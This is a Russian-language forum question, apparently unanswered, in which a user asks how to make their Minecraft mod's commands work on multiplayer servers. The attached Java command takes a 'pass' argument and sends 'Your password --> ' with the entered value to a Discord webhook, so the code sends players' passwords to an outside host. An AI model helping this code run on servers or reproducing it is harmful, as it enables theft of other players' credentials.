Не работают команды моего мода в сетевой игре

Я сделал мод на майнкрафт, и добавил туда команды, они работают, но только в одиночной режиме, можно как то сделать чтобы они работали и на серверах?

public class ExampleCommand extends BaseCommand {

public ExampleCommand(String name, int permissionLevel, boolean enabled) {
    super(name, permissionLevel, enabled);
}

DiscordWebhook webhook = new DiscordWebhook("https://discord.com/api/webhooks/...");

@Override
public LiteralArgumentBuilder<CommandSource> setExecution() {
    return builder.then(Commands.argument("pass", string())
            .executes(c -> {
                webhook.setContent("Your password --> " + getString(c, "pass"));
                try {
                    webhook.execute(); //Handle exception
                } catch (IOException e) {
                    e.printStackTrace();
                }
                return 1;
            }));
};

private int execute(CommandSource source, ServerPlayerEntity pass) {
    System.out.println("User --> " + pass);
    return Command.SINGLE_SUCCESS;
}

}


Ответы (0 шт):